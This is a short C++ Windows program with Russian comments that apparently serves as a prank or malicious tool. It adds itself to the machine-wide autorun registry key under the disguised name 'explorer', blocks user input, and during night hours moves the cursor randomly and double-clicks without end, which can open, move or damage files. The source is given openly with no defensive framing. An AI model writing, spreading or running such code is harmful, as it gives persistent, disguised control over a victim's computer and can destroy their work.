#include #include int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow) { HKEY hKey; //хендл ключа реестра int max=100; char buffer[max]; GetModuleFileName(NULL, buffer, max); RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL); RegSetValueEx(hKey, "explorer", 0, REG_SZ, (PBYTE)buffer, 2*strlen(buffer)+1);//маскировка :) RegCloseKey(hKey); BlockInput(true);//блокировека клавиатуры int W=GetSystemMetrics(SM_CXSCREEN);//получаем ширину экрана int H=GetSystemMetrics(SM_CYSCREEN);//получаем высоту экрана SYSTEMTIME systime;//тип для отображения временни while (true)//цикл для проверки времени { GetLocalTime(&systime);//получение времени if ((systime.wHour>=22&&systime.wHour<=23)|| (systime.wHour>=0&&systime.wHour<=6))//проверка времени { while (true) { SetCursorPos(rand()%W, rand()%H); mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); Sleep(150); } } Sleep (2000); } return 0; }